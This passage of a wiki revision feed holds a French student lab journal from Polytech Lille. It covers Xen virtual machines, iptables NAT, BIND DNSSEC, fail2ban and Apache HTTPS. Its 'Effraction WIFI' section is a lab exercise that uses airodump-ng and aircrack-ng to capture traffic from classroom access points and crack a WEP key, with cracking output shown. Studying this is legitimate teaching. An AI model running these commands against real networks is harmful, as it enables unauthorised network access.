        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12149</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12149"/>
		<updated>2026-02-10T14:42:26Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12148</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12148"/>
		<updated>2026-02-10T14:36:21Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
